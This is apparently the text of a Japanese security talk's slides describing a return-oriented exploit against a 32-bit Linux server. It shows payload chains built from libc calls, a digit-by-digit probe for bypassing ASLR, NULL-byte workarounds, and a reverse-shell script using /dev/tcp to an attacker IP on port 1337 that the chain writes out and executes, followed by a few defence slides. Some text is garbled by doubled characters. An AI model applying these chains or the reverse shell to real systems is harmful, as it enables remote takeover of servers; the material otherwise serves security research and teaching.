  • 29. ‘リピート コード’ を見つける [&puts()] [0x080486ac ~ 0x08049578] [0x08048001] 実行コードの最初のアドレス: 0x080486ac 実行コードの最後のアドレス: 0x08049578
  • 31. ファイルポインタがペイロードを チェック [&malloc()] [pop*1] [0xffffffff] [&fopen()] [pop*2] [&"filename"] [&"w"] [&fclose()] [&repeat code] [&file pointer] /proc/net/tcp (ESTABLISHED state check)
  • 32. ファイルがペイロードを書き込む [&malloc()] [pop*1] [0xffffffff] [&fopen()] [pop*2] [&"filename"] [&“a"] [&fputc()] [&exit()] [0xffffff41] [&file pointer] #!/bin/sh exec 5<>/dev/tcp/<hacker IP address>/1337 cat<&5|while read line;do $line 2>&5>&5;done サーバ側の攻撃コード
  • 33. libcの高速サーチ1/5 $ cat /proc/17680/maps 08048000-0804a000 r-xp 00000000 fd:01 266405 /home/wh1ant/server/server 0804a000-0804b000 r--p 00001000 fd:01 266405 /home/wh1ant/server/server 0804b000-0804c000 rw-p 00002000 fd:01 266405 /home/wh1ant/server/server b7622000-b7623000 rw-p 00000000 00:00 0 b7623000-b77d3000 r-xp 00000000 fd:01 1861 /usr/lib/libc-2.16.so b77d3000-b77d5000 r--p 001b0000 fd:01 1861 /usr/lib/libc-2.16.so b77d5000-b77d6000 rw-p 001b2000 fd:01 1861 /usr/lib/libc-2.16.so b77d6000-b77d9000 rw-p 00000000 00:00 0 b77dd000-b77df000 rw-p 00000000 00:00 0 b77df000-b77e0000 r-xp 00000000 00:00 0 [vdso] b77e0000-b77ff000 r-xp 00000000 fd:01 1854 /usr/lib/ld-2.16.so b77ff000-b7800000 r--p 0001e000 fd:01 1854 /usr/lib/ld-2.16.so b7800000-b7801000 rw-p 0001f000 fd:01 1854 /usr/lib/ld-2.16.so bf893000-bf8b4000 rw-p 00000000 00:00 0 [stack]
  • 34. $ cat /proc/17680/maps 08048000-0804a000 r-xp 00000000 fd:01 266405 /home/wh1ant/server/server 0804a000-0804b000 r--p 00001000 fd:01 266405 /home/wh1ant/server/server 0804b000-0804c000 rw-p 00002000 fd:01 266405 /home/wh1ant/server/server b7622000-b7623000 rw-p 00000000 00:00 0 b7623000-b77d3000 r-xp 00000000 fd:01 1861 /usr/lib/libc-2.16.so b77d3000-b77d5000 r--p 001b0000 fd:01 1861 /usr/lib/libc-2.16.so b77d5000-b77d6000 rw-p 001b2000 fd:01 1861 /usr/lib/libc-2.16.so b77d6000-b77d9000 rw-p 00000000 00:00 0 b77dd000-b77df000 rw-p 00000000 00:00 0 b77df000-b77e0000 r-xp 00000000 00:00 0 [vdso] b77e0000-b77ff000 r-xp 00000000 fd:01 1854 /usr/lib/ld-2.16.so b77ff000-b7800000 r--p 0001e000 fd:01 1854 /usr/lib/ld-2.16.so b7800000-b7801000 rw-p 0001f000 fd:01 1854 /usr/lib/ld-2.16.so bf893000-bf8b4000 rw-p 00000000 00:00 0 [stack] libcの高速サーチ2/5 0xb7801000 – 0xb7622000 = 0x1df000 (offset)
  • 35. ... int* p=0x0; int temp=*p; // 無効なアドレスの場合はセグメンテーション違反となる .... ... int* p=0x08048000; int temp=*p; /* もし、このメモリアドレスが存在していたらセグメンテー ション違反にはならない */ .... libcの高速サーチ3/5
  • 36. b7622000-b7623000 rw-p 00000000 00:00 0 b7623000-b77d3000 r-xp 00000000 fd:01 1861 /usr/lib/libc-2.16.so b77d3000-b77d5000 r--p 001b0000 fd:01 1861 /usr/lib/libc-2.16.so b77d5000-b77d6000 rw-p 001b2000 fd:01 1861 /usr/lib/libc-2.16.so … [&puts()] [&repeat code] [&exist address] 存在するアドレスを探す libcの高速サーチ4/5
  • 37. [&puts()] [repeat code] [0xb7 5~8 00101] <= 66桁桁目目をを探探すす [&puts()] [repeat code] [0xb76 0~f 0101] <= 55桁桁目目をを探探すす [&puts()] [repeat code] [0xb761 0~f 101] <= 44桁桁目目をを探探すす 6 桁桁目目、、アアドドレレスス 0xb7700101 はは存存在在 5 桁桁目目、、アアドドレレスス 0xb7630101 はは存存在在 4 桁桁目目、、アアドドレレスス 0xb7622101 はは存存在在 b7622000-b7623000 rw-p 00000000 00:00 0 b7623000-b77d3000 r-xp 00000000 fd:01 1861 /usr/lib/libc-2.16.so b77d3000-b77d5000 r--p 001b0000 fd:01 1861 /usr/lib/libc-2.16.so b77d5000-b77d6000 rw-p 001b2000 fd:01 1861 /usr/lib/libc-2.16.so … アドレスを一桁づつ探す libcの高速サーチ5/5 0xb7622101 – 0x101 = 0xb7622000
  • 38. メモリにアクセスする関数 int puts(const char *s); size_t strlen(const char *s); int atoi(const char *nptr); int strcmp(const char *s1, const char *s2); int printf(const char *format, ...); int sprintf(char *str, const char *format, ...);
  • 39. ペイロードのレビュー 1/2 [&puts()] [&repeat code] [&exist libc] 1. libc アドレスを検出 [&malloc()] [pop*1] [0xffffffff] [&fopen()] [pop*2] [&"filename"] [&"w"] [&fclose()] [&repeat code] [&file pointer] 2. ファイルポインタアドレスを検出 [&malloc()] [pop*1] [0xffffffff] [&fopen()] [pop*2] [&"filename"] [&“a"] [&fputc()] [&exit()] [0xffffff41] [&file pointer] 3. ファイルに書き込み
  • 40. ペイロードのレビュー 2/2 [&chmod()] [pop*2] [&"log/log_%Y%m%d.log"] [0xfffff1ff] [&execl()] [&exit()] [&"log/log_%Y%m%d.log"] [&"log/log_%Y%m%d.log“] 4. ファイルのパーミッションを変えて実行
  • 42. デモ2 ペイロードの部分 big_buf[128] user_email[50 ] user_name[50 ] ペイロード1 ペイロード2 ペイロード3 esp 0x118 を追加 esp 0x48 を追加 [&puts()] [&repeat code] [0x00049cf0] 0x00049cf0 => xf0x9cx04x00 ASCII-Armor が有効になったシステム 高位アドレス
  • 43. NULL バイト処理回避用ペイロード [&fprintf()] [dummy] [file pointer] [&“%c”] [0x00] NULLバイト処理を回避するバイナリファイルはどうやってつくる? 0xffffff00 => x00xffxffxff
  • 44. ご注意! $ cat /proc/17680/maps 08048000-0804a000 r-xp 00000000 fd:01 266405 /home/wh1ant/server/server 0804a000-0804b000 r--p 00001000 fd:01 266405 /home/wh1ant/server/server 0804b000-0804c000 rw-p 00002000 fd:01 266405 /home/wh1ant/server/server b7622000-b7623000 rw-p 00000000 00:00 0 b7623000-b77d3000 r-xp 00000000 fd:01 1861 /usr/lib/libc-2.16.so b77d3000-b77d5000 r--p 001b0000 fd:01 1861 /usr/lib/libc-2.16.so b77d5000-b77d6000 rw-p 001b2000 fd:01 1861 /usr/lib/libc-2.16.so b77d6000-b77d9000 rw-p 00000000 00:00 0 b77dd000-b77df000 rw-p 00000000 00:00 0 b77df000-b77e0000 r-xp 00000000 00:00 0 [vdso] b77e0000-b77ff000 r-xp 00000000 fd:01 1854 /usr/lib/ld-2.16.so b77ff000-b7800000 r--p 0001e000 fd:01 1854 /usr/lib/ld-2.16.so b7800000-b7801000 rw-p 0001f000 fd:01 1854 /usr/lib/ld-2.16.so bf893000-bf8b4000 rw-p 00000000 00:00 0 [stack] mm_struct -> vm_area_struct -> mm_base 0xb7801000 のアドレスが見える
  • 45. 521 new_heap(size_t size, size_t top_pad) ... 552 /* allocates memory with size 0x200000 */ 553 p1 = (char *)MMAP(0, HEAP_MAX_SIZE<<1, PROT_NONE, MAP_NORESERVE); 554 if(p1 != MAP_FAILED) { 555 p2 = (char *)(((unsigned long)p1 + (HEAP_MAX_SIZE-1)) 556 & ~(HEAP_MAX_SIZE-1)); 557 ul = p2 - p1; // line 555 ~ 557 is an offset from randomized address to 0xb73fffff 558 if (ul) 559 __munmap(p1, ul); // frees some memory allocations 560 else 561 aligned_heap_area = p2 + HEAP_MAX_SIZE; 562 __munmap(p2 + HEAP_MAX_SIZE, HEAP_MAX_SIZE - ul); … /* enables read,write for size up to 0x21000 */ 575 if(__mprotect(p2, size, PROT_READ|PROT_WRITE) != 0) { 576 __munmap(p2, HEAP_MAX_SIZE); 577 return 0; 578 } 579 h = (heap_info *)p2; 580 h->size = size; 581 h->mprotect_size = size; どのように防ぐ? 1/4 ヒヒーーププASLR無無効効化化ココーードドをを除除去去!!
  • 46. どのように防ぐ? 2/4 NULL パラメータチェック #include <stdio.h> #include <fcntl.h> void open_test(int flags) { if(0xffff0000&flags) { printf("open_test() errorn"); return; } printf("open_test() calln"); } int main(void) { open_test(O_WRONLY|O_CREAT); // open open_test(0xffffff41); // open 失敗 open_test(0x00ffff41); // open 失敗 return 0; } open(), mmap(), mprotect(), fputc(), etc…
  • 47. どのように防ぐ? 3/4 if(strlen(mode)>3) // 変数の長さをチェック { printf(“fopen() errorn”); // 変数が長すぎる return NULL; } switch (*mode) { case 'r': … break; case 'w': … break; case 'a': … break; … }
  • 48. どのように防ぐ? 4/4 各々のアドレスにランダムにオフセットを割り振る $ cat /proc/17680/maps 08048000-0804a000 r-xp 00000000 fd:01 266405 /home/wh1ant/server/server 0804a000-0804b000 r--p 00001000 fd:01 266405 /home/wh1ant/server/server 0804b000-0804c000 rw-p 00002000 fd:01 266405 /home/wh1ant/server/server b7622000-b7623000 rw-p 00000000 00:00 0 b7723000-b78d3000 r-xp 00000000 fd:01 1861 /usr/lib/libc-2.16.so b78d3000-b78d5000 r--p 001b0000 fd:01 1861 /usr/lib/libc-2.16.so b78d5000-b78d6000 rw-p 001b2000 fd:01 1861 /usr/lib/libc-2.16.so b78f6000-b78f9000 rw-p 00000000 00:00 0 b78fd000-b78ff000 rw-p 00000000 00:00 0 b78ff000-b7900000 r-xp 00000000 00:00 0 [vdso] b7903000-b8822000 r-xp 00000000 fd:01 1854 /usr/lib/ld-2.16.so b7922000-b7923000 r--p 0001e000 fd:01 1854 /usr/lib/ld-2.16.so b7923000-b7924000 rw-p 0001f000 fd:01 1854 /usr/lib/ld-2.16.so bf893000-bf8b4000 rw-p 00000000 00:00 0 [stack]